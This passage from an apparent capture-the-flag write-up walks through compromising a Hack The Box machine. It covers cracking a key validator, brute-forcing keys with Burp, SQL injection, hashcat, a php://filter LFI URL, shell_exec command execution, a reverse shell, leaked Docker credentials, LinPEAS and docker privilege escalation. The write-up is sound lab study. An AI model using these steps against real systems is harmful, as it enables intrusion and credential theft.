bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", key)) print("valid_format: ", valid) gs = key.split('-')[:-1] cs_value = sum([sum(bytearray(g.encode())) for g in gs]) print("cs_value: ", cs_value) ### g1 discovered by changing the first 3 characters untill the r value matched g1 = key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] print("r: ", r) if r != [221, 81, 145]: g1_valid = False for v in g1[3:]: try: int(v) except: g1_valid = False g1_valid = len(set(g1)) == len(g1) print("g1_valid: ", g1_valid) ### g2 discovered by putting p1 on 0 and shifting p2 until it matched g2 = key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] g2_valid = sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) print("g2_valid: ", g2_valid) # TODO: Add mechanism to sync magic_num with API g3 = key.split('-')[2] if g3[0:2] == magic_value: g3_valid = sum(bytearray(g3.encode())) == magic_num else: g3_valid = False print("g3_valid: ", g3_valid) ### Same approach as g1 try different values untill they matched print("g4: ", [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])]) g4_valid = [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])] == [12, 4, 20, 117, 0] print("g4_valid: ", g4_valid) ### The CS value is just a byte sum of the whole key so this has to be the last value to crack and is pretty easy because we can just print the real CS value and match it cs = int(key.split('-')[-1]) print("cs: ", cs) cs_valid = cs_value == cs print("cs_valid: ", cs_valid) def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True </code> </pre> <a href="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png" alt=""></a> <p>We cracked the code but the only thing that didn't work is part G3 because the magic number seems to be different on the server. When we try to validate it locally using the original validator script the key is valid. But maybe we can bruteforce this magic number using Burpsuite. There are only 60 possible combinations because the magic number is a sum of the last 3 characters, because the code said that the first two "XP" are static, And each character has a specific value. So I made a list.</p> <pre style="text-align: left"> <code class="prettyprint"> KEY01-0H0H0-XPAA0-GAME1-1295 KEY01-0H0H0-XPAB0-GAME1-1296 KEY01-0H0H0-XPAC0-GAME1-1297 KEY01-0H0H0-XPAD0-GAME1-1298 KEY01-0H0H0-XPAE0-GAME1-1299 KEY01-0H0H0-XPAF0-GAME1-1300 KEY01-0H0H0-XPAG0-GAME1-1301 KEY01-0H0H0-XPAH0-GAME1-1302 KEY01-0H0H0-XPAI0-GAME1-1303 KEY01-0H0H0-XPAJ0-GAME1-1304 KEY01-0H0H0-XPAK0-GAME1-1305 KEY01-0H0H0-XPAL0-GAME1-1306 KEY01-0H0H0-XPAM0-GAME1-1307 KEY01-0H0H0-XPAN0-GAME1-1308 KEY01-0H0H0-XPAO0-GAME1-1309 KEY01-0H0H0-XPAP0-GAME1-1310 KEY01-0H0H0-XPAQ0-GAME1-1311 KEY01-0H0H0-XPAR0-GAME1-1312 KEY01-0H0H0-XPAS0-GAME1-1313 KEY01-0H0H0-XPAT0-GAME1-1314 KEY01-0H0H0-XPAU0-GAME1-1315 KEY01-0H0H0-XPAV0-GAME1-1316 KEY01-0H0H0-XPAW0-GAME1-1317 KEY01-0H0H0-XPAX0-GAME1-1318 KEY01-0H0H0-XPAY0-GAME1-1319 KEY01-0H0H0-XPAZ0-GAME1-1320 KEY01-0H0H0-XPBZ0-GAME1-1321 KEY01-0H0H0-XPCZ0-GAME1-1322 KEY01-0H0H0-XPDZ0-GAME1-1323 KEY01-0H0H0-XPEZ0-GAME1-1324 KEY01-0H0H0-XPFZ0-GAME1-1325 KEY01-0H0H0-XPGZ0-GAME1-1326 KEY01-0H0H0-XPHZ0-GAME1-1327 KEY01-0H0H0-XPIZ0-GAME1-1328 KEY01-0H0H0-XPJZ0-GAME1-1329 KEY01-0H0H0-XPKZ0-GAME1-1330 KEY01-0H0H0-XPLZ0-GAME1-1331 KEY01-0H0H0-XPMZ0-GAME1-1332 KEY01-0H0H0-XPNZ0-GAME1-1333 KEY01-0H0H0-XPOZ0-GAME1-1334 KEY01-0H0H0-XPPZ0-GAME1-1335 KEY01-0H0H0-XPQZ0-GAME1-1336 KEY01-0H0H0-XPRZ0-GAME1-1337 KEY01-0H0H0-XPSZ0-GAME1-1338 KEY01-0H0H0-XPTZ0-GAME1-1339 KEY01-0H0H0-XPUZ0-GAME1-1340 KEY01-0H0H0-XPVZ0-GAME1-1341 KEY01-0H0H0-XPWZ0-GAME1-1342 KEY01-0H0H0-XPXZ0-GAME1-1343 KEY01-0H0H0-XPYZ0-GAME1-1344 KEY01-0H0H0-XPZZ0-GAME1-1345 KEY01-0H0H0-XPZZ1-GAME1-1346 KEY01-0H0H0-XPZZ2-GAME1-1347 KEY01-0H0H0-XPZZ3-GAME1-1348 KEY01-0H0H0-XPZZ4-GAME1-1349 KEY01-0H0H0-XPZZ5-GAME1-1350 KEY01-0H0H0-XPZZ6-GAME1-1351 KEY01-0H0H0-XPZZ7-GAME1-1352 KEY01-0H0H0-XPZZ8-GAME1-1353 KEY01-0H0H0-XPZZ9-GAME1-1354 </code> </pre> <p>First we need to intercept to post so we can copy it.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png" alt=""></a> <p>Now we can send it to the intruder to start brute-forcing this magic number.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png" alt=""></a> <p>I've added the payload which is the list of possible combinations we've just compiled. Now we need to add it into the POST.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png" alt=""></a> <p>Now let's start attacking!</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png" alt=""></a> <p>That didn't go as planned it looks like all the requests got redirected let's look at the settings if we can change anything.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png" alt=""></a> <p>Looks like Burpsuite just needed to be allowed to follow redirects. This is probably also the reason why our first GoBuster attempt failed.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png" alt=""></a> <p>Now to second attack is way more promising. One key stands out because the response length is different from the rest. Let's try that key and see what happens.</p> <a href="img/portfolio/minor/red/htb_linux/KeyValidationTest.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/KeyValidationTest.png" alt=""></a> <p>And it worked! Now lets go back to our normal user account and add this key to our account.</p> <a href="img/portfolio/minor/red/htb_linux/AddKeyToUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AddKeyToUser.png" alt=""></a> <p>Now we got the key added to our account we can take a look at that game subdomain we found earlier.</p> <a href="img/portfolio/minor/red/htb_linux/Scoreboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Scoreboard.png" alt=""></a> <p>Something I noticed instantly is the scoreboard that the SingleQuoteMan talked about on the forum. Maybe we can do the same trick with SQLI as we did with XSS at the beginning. We can do a simple SQLI test to find out if it's vulnerable.</p> <a href="img/portfolio/minor/red/htb_linux/VulnForSQLI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/VulnForSQLI.png" alt=""></a> <p>It is vulnerable but we didn't match the columns hence why it didn't show any output so lets try that again.</p> <a href="img/portfolio/minor/red/htb_linux/SQLVersion.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLVersion.png" alt=""></a> <p>Now look at that this should be easy. Lets try to enumerate the database tables.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIDBDump.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIDBDump.png" alt=""></a> <p>A user table? Very interesting lets see if it contains any passwords or usernames.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIUsers.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIUsers.png" alt=""></a> <p>And it does! Looks like we got an admin username and a password hash we need to crack. But first lets find out what type of hash it is.</p> <a href="img/portfolio/minor/red/htb_linux/HashIdentifier.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashIdentifier.png" alt=""></a> <p>Looks like it's a SHA1 hash lets see if Hashcat can find the password for us.</p> <code>hashcat -a 0 -m 100 adminhash.txt /usr/share/wordlists/rockyou.txt</code> <a href="img/portfolio/minor/red/htb_linux/Hashcat.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Hashcat.png" alt=""></a> <p>Yes it can! Now lets try to use these credentials to log into the dev subdomain.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png" alt=""></a> <p>Lets try to run Dirbuster one more time to see if it finds anything.</p> <a href="img/portfolio/minor/red/htb_linux/Dirbuster.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Dirbuster.png" alt=""></a> <p>Almost forgot we have to add the PHPSESSID from this admin to Dirbuster otherwise it won't have access to enumerate the site.</p> <a href="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png" alt=""></a> <p>Dirtbuster found a file called /actions/file.php which could be interesting. By the looks of it this is the file that is running on the homepage of this subdomain as well but there it said it didn't have a GUI yet. Maybe we can use it without GUI now we know the location of the file. But we need to know the command because now it gives us an error.</p> <a href="img/portfolio/minor/red/htb_linux/SpecifyFile.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SpecifyFile.png" alt=""></a> <p>Lets try some common command in this context like file, path and filepath. Hey! Filepath worked and now we can execute files and apparently also the hashingTool that is also on the homepage.</p> <a href="img/portfolio/minor/red/htb_linux/FileExecuted.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FileExecuted.png" alt=""></a> <p>Lets take a look at LFI (Local File Inclusion) and see if we can do something with that. I've found this <a href="https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb">website</a> that explains a LFI vulnerability we could try</p> <code>https://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=/var/www/earlyaccess.htb/dev/actions/hash.php</code> <a href="img/portfolio/minor/red/htb_linux/HashBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashBase64.png" alt=""></a> <p>This gave us the base64 of the hash.php file if we can convert it back to code we might be able to find a vulnerability.</p> <a href="img/portfolio/minor/red/htb_linux/DecodedBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DecodedBase64.png" alt=""></a> <p>Using an online base64 decoder we managed to find the source code of the hash.php file.</p> <pre style="text-align: left"> <code class="prettyprint"> <?php include_once "../includes/session.php"; function hash_pw($hash_function, $password) { // DEVELOPER-NOTE: There has gotta be an easier way... ob_start(); // Use inputted hash_function to hash password $hash = @$hash_function($password); ob_end_clean(); return $hash; } try { if(isset($_REQUEST['action'])) { if($_REQUEST['action'] === "verify") { // VERIFIES $password AGAINST $hash if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); $_SESSION['verify'] = ($hash === $_REQUEST['hash']); header('Location: /home.php?tool=hashing'); return; } } elseif($_REQUEST['action'] === "verify_file") { //TODO: IMPLEMENT FILE VERIFICATION } elseif($_REQUEST['action'] === "hash_file") { //TODO: IMPLEMENT FILE-HASHING } elseif($_REQUEST['action'] === "hash") { // HASHES $password USING $hash_function if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); if(!isset($_REQUEST['redirect'])) { echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>"; echo '<br>' . $hash; return; } else { $_SESSION['hash'] = $hash; header('Location: /home.php?tool=hashing'); return; } } } } // Action not set, ignore throw new Exception(""); } catch(Exception $ex) { if($ex->getMessage() !== "") $_SESSION['error'] = htmlentities($ex->getMessage()); header('Location: /home.php'); return; } ?> </code> </pre> <p>After analyzing the source code it looks like if you send the debug parameter as true and the hashing_function as shell_exec, you can run any shell command you want from the hashing tool. So lets try that.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png" alt=""></a> <p>Looks like it worked now lets try to get a reverse shell.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WWW-DataShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-DataShell.png" alt=""></a> <p>And we're in! I looked in the /etc/passwd and noticed another user named www-adm which looked like the next user I needed. After looking around for a bit and I couldn't find anything I thought what if they reused passwords?</p> <a href="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png" alt=""></a> <p>And they did so now we have www-adm shell. After looking around I noticed a .wgetrc file with some credentials in it. Because it looked like docker was running on the machine I thought http://api:5000/ was my best bet.</p> <a href="img/portfolio/minor/red/htb_linux/WGETAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETAPI.png" alt=""></a> <p>And it was! Apparently there is a check_db endpoint but it required credentials. So I tried to credentials we've just found.</p> <a href="img/portfolio/minor/red/htb_linux/CatCheckDB.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatCheckDB.png" alt=""></a> <p>Looks like JSON but we first need to prettify it to make it more readable.</p> <pre style="text-align: left"> <code class="prettyprint"> { "message":{ "AppArmorProfile":"docker-default", "Args":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Config":{ "AttachStderr":false, "AttachStdin":false, "AttachStdout":false, "Cmd":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Domainname":"", "Entrypoint":[ "docker-entrypoint.sh" ], "Env":[ "MYSQL_DATABASE=db", "MYSQL_USER=drew", "MYSQL_PASSWORD=drew", "MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5", "SERVICE_TAGS=dev", "SERVICE_NAME=mysql", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "GOSU_VERSION=1.12", "MYSQL_MAJOR=8.0", "MYSQL_VERSION=8.0.25-1debian10" ], "ExposedPorts":{ "3306/tcp":{ }, "33060/tcp":{ } }, "Healthcheck":{ "Interval":5000000000, "Retries":3, "Test":[ "CMD-SHELL", "mysqladmin ping -h 127.0.0.1 --user=$MYSQL_USER -p$MYSQL_PASSWORD --silent" ], "Timeout":2000000000 }, "Hostname":"mysql", "Image":"mysql:latest", "Labels":{ "com.docker.compose.config-hash":"947cb358bc0bb20b87239b0dffe00fd463bd7e10355f6aac2ef1044d8a29e839", "com.docker.compose.container-number":"1", "com.docker.compose.oneoff":"False", "com.docker.compose.project":"app", "com.docker.compose.project.config_files":"docker-compose.yml", "com.docker.compose.project.working_dir":"/root/app", "com.docker.compose.service":"mysql", "com.docker.compose.version":"1.29.1" }, "OnBuild":null, "OpenStdin":false, "StdinOnce":false, "Tty":true, "User":"", "Volumes":{ "/docker-entrypoint-initdb.d":{ }, "/var/lib/mysql":{ } }, "WorkingDir":"" }, "Created":"2021-10-04T06:57:43.698655618Z", "Driver":"overlay2", "ExecIDs":null, "GraphDriver":{ "Data":{ "LowerDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d-init/diff:/var/lib/docker/overlay2/ecc064365b0367fc58ac796d9d5fe020d9453c68e2563f8f6d4682e38231083e/diff:/var/lib/docker/overlay2/4a21c5c296d0e6d06a3e44e3fa4817ab6f6f8c3612da6ba902dc28ffd749ec4d/diff:/var/lib/docker/overlay2/f0cdcc7bddc58609f75a98300c16282d8151ce18bd89c36be218c52468b3a643/diff:/var/lib/docker/overlay2/01e8af3c602aa396e4cb5af2ed211a6a3145337fa19b123f23e36b006d565fd0/diff:/var/lib/docker/overlay2/55b88ae64530676260fe91d4d3e6b0d763165505d3135a3495677cb10de74a66/diff:/var/lib/docker/overlay2/4064491ac251bcc0b677b0f76de7d5ecf0c17c7d64d7a18debe8b5a99e73e127/diff:/var/lib/docker/overlay2/a60c199d618b0f2001f106393236ba394d683a96003a4e35f58f8a7642dbad4f/diff:/var/lib/docker/overlay2/29b638dc55a69c49df41c3f2ec0f90cc584fac031378ae455ed1458a488ec48d/diff:/var/lib/docker/overlay2/ee59a9d7b93adc69453965d291e66c7d2b3e6402b2aef6e77d367da181b8912f/diff:/var/lib/docker/overlay2/4b5204c09ec7b0cbf22d409408529d79a6d6a472b3c4d40261aa8990ff7a2ea8/diff:/var/lib/docker/overlay2/8178a3527c2a805b3c2fe70e179797282bb426f3e73e8f4134bc2fa2f2c7aa22/diff:/var/lib/docker/overlay2/76b10989e43e43406fc4306e789802258e36323f7c2414e5e1242b6eab4bd3eb/diff", "MergedDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/merged", "UpperDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/diff", "WorkDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/work" }, "Name":"overlay2" }, "HostConfig":{ "AutoRemove":false, "Binds":[ "/root/app/scripts/init.d:/docker-entrypoint-initdb.d:ro", "app_vol_mysql:/var/lib/mysql:rw" ], "BlkioDeviceReadBps":null, "BlkioDeviceReadIOps":null, "BlkioDeviceWriteBps":null, "BlkioDeviceWriteIOps":null, "BlkioWeight":0, "BlkioWeightDevice":null, "CapAdd":[ "SYS_NICE" ], "CapDrop":null, "Cgroup":"", "CgroupParent":"", "CgroupnsMode":"host", "ConsoleSize":[ 0, 0 ], "ContainerIDFile":"", "CpuCount":0, "CpuPercent":0, "CpuPeriod":0, "CpuQuota":0, "CpuRealtimePeriod":0, "CpuRealtimeRuntime":0, "CpuShares":0, "CpusetCpus":"", "CpusetMems":"", "DeviceCgroupRules":null, "DeviceRequests":null, "Devices":null, "Dns":null, "DnsOptions":null, "DnsSearch":null, "ExtraHosts":null, "GroupAdd":null, "IOMaximumBandwidth":0, "IOMaximumIOps":0, "IpcMode":"private", "Isolation":"", "KernelMemory":0, "KernelMemoryTCP":0, "Links":null, "LogConfig":{ "Config":{ }, "Type":"json-file" }, "MaskedPaths":[ "/proc/asound", "/proc/acpi", "/proc/kcore", "/proc/keys", "/proc/latency_stats", "/proc/timer_list", "/proc/timer_stats", "/proc/sched_debug", "/proc/scsi", "/sys/firmware" ], "Memory":0, "MemoryReservation":0, "MemorySwap":0, "MemorySwappiness":null, "NanoCpus":0, "NetworkMode":"app_nw", "OomKillDisable":false, "OomScoreAdj":0, "PidMode":"", "PidsLimit":null, "PortBindings":{ }, "Privileged":false, "PublishAllPorts":false, "ReadonlyPaths":[ "/proc/bus", "/proc/fs", "/proc/irq", "/proc/sys", "/proc/sysrq-trigger" ], "ReadonlyRootfs":false, "RestartPolicy":{ "MaximumRetryCount":0, "Name":"always" }, "Runtime":"runc", "SecurityOpt":null, "ShmSize":67108864, "UTSMode":"", "Ulimits":null, "UsernsMode":"", "VolumeDriver":"", "VolumesFrom":[ ] }, "HostnamePath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hostname", "HostsPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hosts", "Id":"47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216", "Image":"sha256:5c62e459e087e3bd3d963092b58e50ae2af881076b43c29e38e2b5db253e0287", "LogPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216-json.log", "MountLabel":"", "Mounts":[ { "Destination":"/docker-entrypoint-initdb.d", "Mode":"ro", "Propagation":"rprivate", "RW":false, "Source":"/root/app/scripts/init.d", "Type":"bind" }, { "Destination":"/var/lib/mysql", "Driver":"local", "Mode":"rw", "Name":"app_vol_mysql", "Propagation":"", "RW":true, "Source":"/var/lib/docker/volumes/app_vol_mysql/_data", "Type":"volume" } ], "Name":"/mysql", "NetworkSettings":{ "Bridge":"", "EndpointID":"", "Gateway":"", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "HairpinMode":false, "IPAddress":"", "IPPrefixLen":0, "IPv6Gateway":"", "LinkLocalIPv6Address":"", "LinkLocalIPv6PrefixLen":0, "MacAddress":"", "Networks":{ "app_nw":{ "Aliases":[ "47c78eb0450f", "mysql" ], "DriverOpts":null, "EndpointID":"50037fb137fd880f88a9efd17eb8cf94bf8142ec263080b4c904afeeaa79aa2e", "Gateway":"172.18.0.1", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "IPAMConfig":{ "IPv4Address":"172.18.0.100" }, "IPAddress":"172.18.0.100", "IPPrefixLen":16, "IPv6Gateway":"", "Links":null, "MacAddress":"02:42:ac:12:00:64", "NetworkID":"021b24b8b3e1e3638463eeb7dc9af59c36cc412578cdf51931a24f04ea6f5532" } }, "Ports":{ "3306/tcp":null, "33060/tcp":null }, "SandboxID":"99cbb57fded2142e5dad46330b43249d2866f8514fb4342d06322f3e3b5c60f1", "SandboxKey":"/var/run/docker/netns/99cbb57fded2", "SecondaryIPAddresses":null, "SecondaryIPv6Addresses":null }, "Path":"docker-entrypoint.sh", "Platform":"linux", "ProcessLabel":"", "ResolvConfPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/resolv.conf", "RestartCount":0, "State":{ "Dead":false, "Error":"", "ExitCode":0, "FinishedAt":"0001-01-01T00:00:00Z", "Health":{ "FailingStreak":0, "Log":[ { "End":"2021-10-04T17:08:01.998027574+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:01.908189033+02:00" }, { "End":"2021-10-04T17:08:07.080804898+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:07.000613396+02:00" }, { "End":"2021-10-04T17:08:12.166584919+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:12.083845791+02:00" }, { "End":"2021-10-04T17:08:17.254375293+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:17.16894306+02:00" }, { "End":"2021-10-04T17:08:22.350400823+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:22.257747436+02:00" } ], "Status":"healthy" }, "OOMKilled":false, "Paused":false, "Pid":1108, "Restarting":false, "Running":true, "StartedAt":"2021-10-04T06:57:47.409835076Z", "Status":"running" } }, "status":200 } </code> </pre> <p>Looks like an username and some passwords lets try those with ssh.</p> <a href="img/portfolio/minor/red/htb_linux/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/UserFlag.png" alt=""></a> <p>We got the user flag! But now we need to find something to escalate our privileges. We could use LinPEAS to try and find something but we first have to get it on this machine.</p> <a href="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WGETLinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETLinpeas.png" alt=""></a> <p>I used SimpleHTTPServer to get LinPeas from my machine to the target machine because the target machine didn't have access to the internet. Now we need to run LinPEAS.</p> <a href="img/portfolio/minor/red/htb_linux/LinpeasMail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasMail.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png" alt=""></a> <p>Looks like LinPEAS found some interesting stuff like a mail message to Drew and the docker ip ranges and a docker folder that is edited regularly.</p> <a href="img/portfolio/minor/red/htb_linux/Mail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Mail.png" alt=""></a> <p>This probably means that the docker folder that gets edited regularly is the folder containing the game. And that some script is running that we could use.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>Looks like we got a public key as game-tester as well. Lets try to login into the docker ips using this public key.</p> <a href="img/portfolio/minor/red/htb_linux/Game-testerShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Game-testerShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png" alt=""></a> <p>And it worked now we got a shell as game-tester as well on a docker container. I noticed that the same docker folder on Drew also exists on the docker container and that they are shared. I also noticed that the docker folder get rewritten entirely so all files inside get removed and replaced before the server is restarted again. Lets see what the script does.</p> <a href="img/portfolio/minor/red/htb_linux/CatNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatNode-server.png" alt=""></a> <p>It runs in a folder called /usr/src/app which doesn't exist on the Drew user but it does on the game-tester container. So lets look at that as well.</p> <a href="img/portfolio/minor/red/htb_linux/CatServerJS.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatServerJS.png" alt=""></a> <p>Look like we can crash the server if we make a POST to autoplay with a decimal instead of an integer. But that doesn't get us anywhere we need to infect the node-server.sh first.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>I found this <a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout">website</a> explaining priv esc with docker so I gave it a try. But I have to be faster than the server can create the node-server.sh in order to infect it. So I created a script.</p> <a href="img/portfolio/minor/red/htb_linux/RogueNode-server.png"><img class="img-fluid d-block mx-auto" 